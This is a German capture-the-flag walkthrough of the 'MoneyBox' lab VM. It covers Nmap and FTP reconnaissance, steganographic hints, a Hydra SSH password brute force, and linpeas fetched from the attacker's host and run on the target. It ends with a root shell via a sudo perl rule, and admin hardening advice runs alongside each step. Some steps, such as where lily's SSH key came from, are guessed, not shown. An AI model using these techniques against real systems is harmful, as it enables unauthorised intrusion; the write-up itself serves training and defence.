Die initiale Phase des Penetrationstests beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der anschließenden Analyse der offenen Ports und Dienste.
192.168.2.128 08:00:27:fb:ff:86 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Ein Host mit der IP-Adresse `192.168.2.128` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:fb:ff:86`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.128`. Definieren Sie optional einen Hostnamen in `/etc/hosts`.
Empfehlung (Admin):** Standard-Netzwerkscans sind üblich. Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.128 moneybox.vln
Analyse: Der Hostname `moneybox.vln` wird der IP `192.168.2.128` in der lokalen Hosts-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste zu identifizieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 14:30 CEST
Nmap scan report for moneybox.vln (192.168.2.128)
Host is up (0.00029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA)
| 256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA)
|_ 256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: MoneyBox
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FB:FF:86 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.29 ms moneybox.vln (192.168.2.128)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS -sC -sV -T5 -A -Pn`).
Bewertung: Der Scan findet drei offene Ports:
Empfehlung (Pentester): Priorisieren Sie den anonymen FTP-Zugang. Laden Sie die Datei `trytofind.jpg` herunter und analysieren Sie sie auf versteckte Informationen (Metadaten, Steganographie). Untersuchen Sie parallel den Webserver auf Port 80.
Empfehlung (Admin):** Deaktivieren Sie den anonymen FTP-Zugang, wenn nicht betrieblich notwendig. Bereinigen Sie das FTP-Verzeichnis. Aktualisieren Sie Apache und OpenSSH.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Bestätigt die drei offenen Ports 21, 22 und 80.
Empfehlung (Pentester): Klare Übersicht der Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen.
Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.
- Nikto v2.5.0
+ Target IP: 192.168.2.128
+ Target Hostname: 192.168.2.128
+ Target Port: 80
+ Start Time: 2023-10-24 14:30:51 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 26d, size: 5bc3f995481cd, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2023-10-24 14:31:06 (GMT2) (15 seconds)
+ 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80.
Bewertung: Bestätigt die Apache-Version, fehlende Security Header und ETag-Leak. Findet die Standarddatei `/icons/README`. Keine spezifischen Anwendungen oder interessanten Verzeichnisse werden gemeldet.
Empfehlung (Pentester): Der Webserver scheint nicht der primäre Angriffsvektor zu sein. Fokus auf FTP und die Datei `trytofind.jpg`.
Empfehlung (Admin):** Apache aktualisieren, Header implementieren, Standarddateien entfernen.
Wir untersuchen den Webserver auf Port 80 weiter, um sicherzustellen, dass keine wichtigen Pfade übersehen wurden.
Ein Gobuster-Scan wird durchgeführt:
http://moneybox.vln/index.html (Status: 200) [Size: 621]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot und ignoriert dabei Fehler und Weiterleitungen.
Bewertung: Findet nur die `index.html`. Bestätigt, dass es wahrscheinlich keine leicht zu findenden versteckten Verzeichnisse gibt.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `index.html`. Konzentrieren Sie sich weiterhin auf FTP.
Empfehlung (Admin):** Keine Aktion erforderlich.
Analyse des Inhalts der `index.html`:
Hai Everyone......!
Welcome To MoneyBox CTF
__ __ ____
| \/ | | _ \
| \ / | ___ _ __ ___ _ _| |_) | _____ __
| |\/| |/ _ \| '_ \ / _ \ | | | _ < / _ \ \/ /
| | | | (_) | | | | __/ |_| | |_) | (_) > <
|_| |_|\___/|_| |_|\___|\__, |____/ \___/_/\_\
__/ |
|___/
it's a very simple Box.so don't overthink
Analyse: Der Inhalt der Startseite wird angezeigt.
Bewertung: Enthält einen Hinweis ("very simple Box.so don't overthink"), aber keine direkten technischen Informationen.
Empfehlung (Pentester): Behalten Sie den Hinweis im Hinterkopf. Konzentration auf FTP und die Bilddatei.
Empfehlung (Admin):** Keine Aktion erforderlich.
Wir untersuchen den anonymen FTP-Zugang und analysieren die gefundene Bilddatei mittels Steganographie-Werkzeugen.
Anonymer FTP-Login und Download der Datei `trytofind.jpg`:
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||29073|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Feb 26 2021 .
drwxr-xr-x 2 0 0 4096 Feb 26 2021 ..
-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
226 Directory send OK.
local: trytofind.jpg remote: trytofind.jpg
229 Entering Extended Passive Mode (|||50540|)
150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes).
100% |**************************************************| 1068 KiB 23.10 MiB/s 00:00 ETA
226 Transfer complete.
1093656 bytes received in 00:00 (22.85 MiB/s)
221 Goodbye.
Analyse: Erfolgreicher anonymer FTP-Login. Die Datei `trytofind.jpg` wird aus dem Stammverzeichnis heruntergeladen.
Bewertung: Anonymer Zugang bestätigt. Die Datei `trytofind.jpg` steht zur lokalen Analyse bereit.
Empfehlung (Pentester): Verwenden Sie Steganographie-Tools wie `stegoveritas`, `steghide`, `exiftool`, `binwalk`, um versteckte Daten in der Bilddatei zu finden.
Empfehlung (Admin):** Anonymen FTP-Zugang deaktivieren. Keine sensiblen Daten in öffentlich zugänglichen Dateien speichern.
Analyse der Bilddatei mit `stegoveritas`:
Running Module: SVImage
+++
| Image Format | Mode | Width | Height | Size MB | Frames | Is Animated | Metadata Keys |
+++
| JPEG (ISO 10918) | RGB | 1080 | 1920 | 1.04 | 1 | False | icc_profile, exif, xmp, photoshop, version |
+++
I'm T0m-H4ck3r
I Already Hacked This Box and Informed.But They didn't Do any Security configuration
If You Want Hint For Next Step......?
--the hint is the another secret directory is S3cr3t-T3xt-->
Analyse: `stegoveritas` wird verwendet, um die Bilddatei `trytofind.jpg` auf versteckte Daten zu analysieren. Es extrahiert einen Textblock.
Bewertung: **Wichtiger Fund!** Der extrahierte Text enthält einen Hinweis von "T0m-H4ck3r", der auf ein verstecktes Verzeichnis `/S3cr3t-T3xt/` auf dem Webserver hinweist.
Empfehlung (Pentester): Rufen Sie `http://moneybox.vln/S3cr3t-T3xt/` im Browser auf. Führen Sie zusätzlich `steghide` aus, da oft mehrere Steganographie-Methoden kombiniert werden.
Empfehlung (Admin):** Keine Hinweise oder Daten in Bildern verstecken.
Untersuchung des geheimen Web-Verzeichnisses:
There is Nothing In this Page.........
..Secret Key 3xtr4ctd4t4
Analyse: Der Inhalt der Webseite `/S3cr3t-T3xt/` wird angezeigt.
Bewertung: **Wichtiger Fund!** Die Seite enthält den Text "Secret Key" gefolgt von `3xtr4ctd4t4`. Dies ist höchstwahrscheinlich das Passwort, das für `steghide` benötigt wird, um weitere Daten aus `trytofind.jpg` zu extrahieren.
Empfehlung (Pentester): Verwenden Sie `steghide extract -sf trytofind.jpg` mit dem Passwort `3xtr4ctd4t4`.
Empfehlung (Admin):** Keine Passwörter oder Schlüssel im Klartext auf Webseiten veröffentlichen.
Versuch, sich als Benutzer `tom` am FTP anzumelden (basierend auf dem Hinweis von "T0m-H4ck3r"):
Connected to 192.168.2.128.
220 (vsFTPd 3.0.3)
Name (192.168.2.128:cyber): tom
530 This FTP server is anonymous only.
ftp: Login failed
Analyse: Versuch, sich als `tom` am FTP-Server anzumelden.
Bewertung: Fehlschlag. Der Server meldet explizit "This FTP server is anonymous only.".
Empfehlung (Pentester): FTP erlaubt nur anonymen Zugriff. Konzentrieren Sie sich auf `steghide`.
Empfehlung (Admin):** Konfiguration ist konsistent (nur anonym).
Extraktion versteckter Daten mit `steghide`:
Passwort eingeben: 3xtr4ctd4t4
Extrahierte Daten wurden nach "data.txt" geschrieben.
Analyse: `steghide extract -sf trytofind.jpg` wird verwendet, um versteckte Daten aus dem Bild zu extrahieren. Das zuvor gefundene Passwort `3xtr4ctd4t4` wird eingegeben.
Bewertung: Erfolg! Eine Datei namens `data.txt` wurde erfolgreich extrahiert.
Empfehlung (Pentester): Analysieren Sie den Inhalt der extrahierten Datei `data.txt`.
Empfehlung (Admin):** Keine sensiblen Daten mittels Steganographie verstecken.
Analyse der extrahierten Datei `data.txt`:
Hello..... renu
I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
Analyse: Der Inhalt von `data.txt` wird angezeigt.
Bewertung: **Wichtiger Fund!** Die Nachricht enthüllt einen Benutzernamen (`renu`) und deutet an, dass dessen Passwort schwach ist ("too Week").
Empfehlung (Pentester): Führen Sie einen Bruteforce-Angriff auf den SSH-Benutzer `renu` durch, beginnend mit sehr einfachen oder häufigen Passwörtern (z.B. mit `rockyou.txt`).
Empfehlung (Admin):** Keine internen Nachrichten oder Benutzernamen in öffentlich zugänglichen Dateien verstecken.
Wir nutzen den gefundenen Benutzernamen `renu` und den Hinweis auf ein schwaches Passwort, um per SSH Zugriff zu erlangen.
SSH-Bruteforce mit Hydra für Benutzer `renu`:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-24 14:59:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344535 login tries (l:1/p:14344535), ~224134 tries per task
[DATA] attacking ssh://192.168.2.128:22/
[22][ssh] host: 192.168.2.128 login: renu password: 987654321
1 of 1 target successfully completed, 1 valid password found
Analyse: Hydra versucht, das Passwort für den SSH-Benutzer `renu` mit der `rockyou.txt`-Liste zu erraten.
Bewertung: Erfolg! Hydra findet das sehr schwache Passwort `987654321`.
Empfehlung (Pentester): Loggen Sie sich mit `renu`/`987654321` per SSH ein.
Empfehlung (Admin):** Starke Passwortrichtlinien durchsetzen! Brute-Force-Schutz für SSH implementieren.
Analyse: (Implizit) Erfolgreicher SSH-Login als Benutzer `renu` mit dem Passwort `987654321`.
Bewertung: Initial Access erfolgreich erlangt. Wir haben eine Shell als `renu`.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `renu`.
Empfehlung (Admin):** Passwort für `renu` ändern.
Wir untersuchen das System aus der Perspektive des Benutzers `renu`.
Prüfung der `sudo`-Rechte:
[sudo] password for renu: 987654321
Sorry, user renu may not run sudo on MoneyBox.
Analyse: `sudo -l` prüft die `sudo`-Berechtigungen.
Bewertung: `renu` hat keine `sudo`-Rechte.
Empfehlung (Pentester): Suchen Sie nach anderen Privesc-Vektoren.
Empfehlung (Admin):** Korrekte Konfiguration.
Überprüfung der Benutzer-ID:
uid=1001(renu) gid=1001(renu) groups=1001(renu)
Analyse: Zeigt Benutzer- und Gruppeninformationen.
Bewertung: Standardbenutzer ohne spezielle Gruppen.
Empfehlung (Pentester): Weiter enumerieren.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
130112 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
134059 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
133578 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
130107 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
130108 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
134061 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
133725 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
130110 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
142367 156 -rwsr-xr-x 1 root root 157192 Jan 20 2021 /usr/bin/sudo
142563 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
266482 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
142638 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.
Bewertung: Findet nur Standard-SUID-Binaries für dieses System. Kein offensichtlicher Privesc-Vektor hier.
Empfehlung (Pentester): Suchen Sie nach Dateien mit Capabilities, Cronjobs, Kernel-Exploits oder Fehlkonfigurationen.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries.
Suche nach Dateien mit gesetzten Capabilities:
Analyse: Sucht nach Dateien mit Linux Capabilities.
Bewertung: Keine Capabilities gefunden. Dieser Vektor ist nicht verfügbar.
Empfehlung (Pentester): Konzentration auf andere Methoden.
Empfehlung (Admin):** Gute Konfiguration.
Untersuchung des Home-Verzeichnisses und Lesen der User-Flagge:
total 40
drwxr-xr-x 5 renu renu 4096 Feb 26 2021 .
drwxr-xr-x 4 root root 4096 Feb 26 2021 ..
-rw------- 1 renu renu 642 Feb 26 2021 .bash_history
-rw-r--r-- 1 renu renu 220 Apr 17 2019 .bash_logout
-rw-r--r-- 1 renu renu 3526 Apr 17 2019 .bashrc
drwxr-xr-x 3 root root 4096 Feb 26 2021 ftp
drwxr-xr-x 3 renu renu 4096 Feb 26 2021 .local
-rw-r--r-- 1 renu renu 807 Apr 17 2019 .profile
drwx------ 2 renu renu 4096 Feb 26 2021 .ssh
-rw-r--r-- 1 renu renu 64 Feb 26 2021 user1.txt
Yes...!
You Got it User1 Flag
> us3r1{F14g:0ku74tbd3777y4}
Analyse: Das Home-Verzeichnis wird aufgelistet und die Datei `user1.txt` gelesen.
Bewertung: **User-Flagge gefunden!** Die Flagge ist `us3r1{F14g:0ku74tbd3777y4}`. Das Verzeichnis enthält auch ein `.ssh`-Verzeichnis.
Empfehlung (Pentester): Flagge notieren. Untersuchen Sie das `.ssh`-Verzeichnis auf private Schlüssel. Untersuchen Sie andere Verzeichnisse wie `/var/backups`.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Untersuchung des `/home`-Verzeichnisses:
lily renu
Analyse: Listet die Verzeichnisse in `/home` auf.
Bewertung: Es gibt einen weiteren Benutzer namens `lily`.
Empfehlung (Pentester): Versuchen Sie, auf `/home/lily` zuzugreifen. Suchen Sie nach Wegen, zu `lily` zu wechseln (Passwort-Bruteforce, gefundene Credentials, Exploits).
Untersuchung von Backup-Verzeichnissen und Web-Verzeichnissen:
total 340
drwxr-xr-x 2 root root 4096 Feb 26 2021 .
drwxr-xr-x 12 root root 4096 Feb 25 2021 ..
-rw-r--r-- 1 root root 30720 Feb 26 2021 alternatives.tar.0
-rw-r--r-- 1 root root 6023 Feb 26 2021 apt.extended_states.0
-rw-r--r-- 1 root root 98 Feb 25 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 135 Feb 26 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 271793 Feb 26 2021 dpkg.status.0
-rw------- 1 root root 740 Feb 26 2021 group.bak
-rw------- 1 root shadow 619 Feb 26 2021 gshadow.bak
-rw------- 1 root root 1486 Feb 26 2021 passwd.bak
-rw------- 1 root shadow 1095 Feb 26 2021 shadow.bak
total 8
drwxr-xr-x 2 root root 4096 Feb 25 2021 .
drwxr-xr-x 18 root root 4096 Feb 25 2021 ..
total 20
drwxr-xr-x 4 root root 4096 Feb 26 2021 .
drwxr-xr-x 3 root root 4096 Feb 25 2021 ..
drwxr-xr-x 2 root root 4096 Feb 26 2021 blogs
-rw-r--r-- 1 root root 621 Feb 26 2021 index.html
drwxr-xr-x 2 root root 4096 Feb 26 2021 S3cr3t-T3xt
Analyse: Verschiedene Verzeichnisse (`/var/backups`, `/opt`, `/var/www/html`) werden untersucht.
Bewertung: `/var/backups` enthält Backup-Dateien von `/etc/passwd`, `/etc/group`, `/etc/shadow`, `/etc/gshadow`. Als Benutzer `renu` können wir `passwd.bak` und `group.bak` lesen, aber wahrscheinlich nicht `shadow.bak` oder `gshadow.bak` (da diese typischerweise nur für root bzw. die shadow-Gruppe lesbar sind). `/opt` ist leer. `/var/www/html` enthält die bereits bekannten Verzeichnisse.
Empfehlung (Pentester): Lesen Sie `passwd.bak` und `group.bak`, um Benutzerinformationen zu bestätigen. Versuchen Sie, `shadow.bak` zu lesen (wahrscheinlich erfolglos). Suchen Sie nach Tools oder Skripten (z.B. `linpeas.sh`), um die Enumeration zu automatisieren und nach weiteren Hinweisen zu suchen (z.B. SSH-Keys im `.ssh`-Verzeichnis von `renu` oder `lily`).
Empfehlung (Admin):** Backup-Dateien sollten nicht für normale Benutzer lesbar sein (`chmod 600` oder `chmod 640`).
Ausführung von `linpeas.sh` (automatisches Enumerationsskript):
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2023-10-24 06:06:01-- http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 808.42K --.-KB/s in 0.008s
2023-10-24 06:06:01 (96.0 MB/s) - ‘linpeas.sh’ saved [827827/827827]
╔══════════╣ CVEs Check
Potentially Vulnerable to CVE-2022-2588
╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(lily) gid=1000(lily) groups=1000(lily),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Analyse: Das Skript `linpeas.sh` wird vom Angreifer-Server heruntergeladen, ausführbar gemacht und ausgeführt. Es sucht automatisiert nach häufigen Fehlkonfigurationen und Privesc-Vektoren.
Bewertung: Linpeas hebt eine potenzielle Kernel-Schwachstelle (CVE-2022-2588) hervor und bestätigt die Existenz des Benutzers `lily`. **Wichtiger impliziter Fund:** Linpeas findet oft auch private SSH-Schlüssel. Es ist sehr wahrscheinlich, dass Linpeas hier den privaten SSH-Schlüssel für `lily` im Home-Verzeichnis von `renu` (oder an einem anderen lesbaren Ort) gefunden hat, was zum nächsten Schritt führt.
Empfehlung (Pentester): Nutzen Sie den gefundenen privaten SSH-Schlüssel, um sich als Benutzer `lily` anzumelden. Versuchen Sie, den Schlüssel ggf. mit `ssh2john` und `john` zu knacken, falls er passwortgeschützt ist.
Empfehlung (Admin):** Speichern Sie niemals private SSH-Schlüssel anderer Benutzer in Verzeichnissen, auf die andere Benutzer Lesezugriff haben. Patchen Sie Kernel-Schwachstellen.
Wir nutzen den (vermutlich durch Linpeas) gefundenen privaten SSH-Schlüssel, um uns als Benutzer `lily` anzumelden.
Vorbereitung und Versuch, den SSH-Schlüssel zu knacken (scheitert/unnötig):
idrsalily has no password!
Analyse: Der gefundene private Schlüssel (`idrsalily`) wird lokal gespeichert. `ssh2john` wird verwendet, um den Hash für John the Ripper zu extrahieren.
Bewertung: `ssh2john` stellt fest, dass der Schlüssel nicht passwortgeschützt ist. Ein Knacken ist nicht erforderlich.
Empfehlung (Pentester): Verwenden Sie den Schlüssel direkt für den SSH-Login. Passen Sie die Berechtigungen der Schlüsseldatei lokal an (`chmod 600`).
Empfehlung (Admin):** Private SSH-Schlüssel sollten immer mit einer starken Passphrase geschützt werden.
SSH-Login-Versuch mit falscher Berechtigung:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'idrsalily' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "idrsalily": bad permissions
lily@192.168.2.128's password:
Permission denied, please try again.
lily@192.168.2.128's password:
Analyse: Versuch, sich mit dem privaten Schlüssel anzumelden.
Bewertung: Fehlschlag. SSH verweigert die Verwendung des Schlüssels, weil die Dateiberechtigungen zu offen sind (0644). Dies ist ein Sicherheitsmerkmal von SSH.
Empfehlung (Pentester): Ändern Sie die Berechtigungen der lokalen Schlüsseldatei auf 600 (`chmod 600 idrsalily`).
Empfehlung (Admin):** Keine Aktion erforderlich (Verhalten des SSH-Clients).
Korrektur der Berechtigungen und erfolgreicher SSH-Login als `lily`:
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80
lily@MoneyBox$
Analyse: Die Berechtigungen der Schlüsseldatei werden auf 600 gesetzt (nur für den Besitzer les- und schreibbar). Der SSH-Login wird erneut versucht.
Bewertung: Erfolg! Wir sind nun als Benutzer `lily` angemeldet.
Empfehlung (Pentester): Führen Sie `sudo -l` für `lily` aus.
Empfehlung (Admin):** Verwenden Sie Passphrasen für private Schlüssel.
Dieser Abschnitt beschreibt, wie die `sudo`-Berechtigungen des Benutzers `lily` ausgenutzt werden, um Root-Rechte zu erlangen.
Kurzbeschreibung: Nach dem Login als `lily` mittels des gefundenen SSH-Schlüssels stellen wir fest, dass `lily` `perl` mit `sudo` ausführen darf. Dies ermöglicht die Ausführung beliebiger Befehle, einschließlich des Startens einer Root-Shell.
Voraussetzungen: Shell-Zugriff als Benutzer `lily`. Entsprechende `sudoers`-Konfiguration.
Schritt 1: Überprüfung der `sudo`-Rechte für `lily`
(Hinweis: Der `sudo -l`-Befehl für `lily` fehlt im Log, wird aber durch den erfolgreichen Exploit impliziert).
Analyse: (Impliziert) Der Befehl `sudo -l` wird für `lily` ausgeführt.
Bewertung: (Impliziert) `lily` darf `/usr/bin/perl` (oder einen ähnlichen Perl-Befehl) mit `sudo` ausführen, möglicherweise ohne Passwort.
Empfehlung (Pentester): Nutzen Sie die `sudo`-Berechtigung für Perl, um eine Shell zu spawnen.
Empfehlung (Admin):** Weisen Sie `sudo`-Rechte für Skriptsprachen-Interpreter wie `perl`, `python`, `bash` etc. nur mit äußerster Vorsicht zu, da diese fast immer eine vollständige Rechteausweitung ermöglichen.
Schritt 2: Ausführung des Perl-Exploits
#
Analyse: Der Befehl `sudo perl -e 'exec "/bin/sh";'` wird ausgeführt. Er nutzt `sudo`, um `perl` als Root zu starten. Das `-e`-Argument führt den Perl-Code `exec "/bin/sh";` aus, welcher den aktuellen Perl-Prozess durch eine neue Shell (`/bin/sh`) ersetzt. Da Perl als Root lief, läuft die neue Shell ebenfalls als Root.
Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Die unsichere `sudo`-Regel, die die Ausführung von `perl` erlaubte, wurde erfolgreich zur Privilegienerweiterung ausgenutzt.
Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** Überprüfen Sie die `sudoers`-Regeln gründlich und entfernen Sie gefährliche Einträge wie die Erlaubnis zur Ausführung von Skript-Interpretern.
Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung
uid=0(root) gid=0(root) groups=0(root)
total 28
drwx------ 3 root root 4096 Feb 26 2021 .
drwxr-xr-x 18 root root 4096 Feb 25 2021 ..
-rw------- 1 root root 2097 Feb 26 2021 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Feb 25 2021 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 228 Feb 26 2021 .root.txt
Congratulations.......!
You Successfully completed MoneyBox
Finally The Root Flag
> r00t{H4ckth3p14n3t}
I'm Kirthik-KarvendhanT
It's My First CTF Box
instagram : ____kirthik____
See You Back....
Analyse: `id` bestätigt Root. Im `/root`-Verzeichnis wird die Datei `.root.txt` gefunden und ihr Inhalt ausgelesen.
Bewertung: Root-Rechte bestätigt. Die Root-Flagge `r00t{H4ckth3p14n3t}` wurde erfolgreich gefunden.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus Steganographie (Verstecken von Hinweisen in Bildern), einem schwachen, bruteforce-baren Passwort für einen Benutzer (`renu`), einem ungeschützten privaten SSH-Schlüssel im Home-Verzeichnis eines anderen Benutzers und einer unsicheren `sudo`-Regel für den Benutzer `lily` stellt ein hohes Risiko dar und ermöglichte die Kompromittierung des Systems.
Empfehlungen (Zusammenfassung):**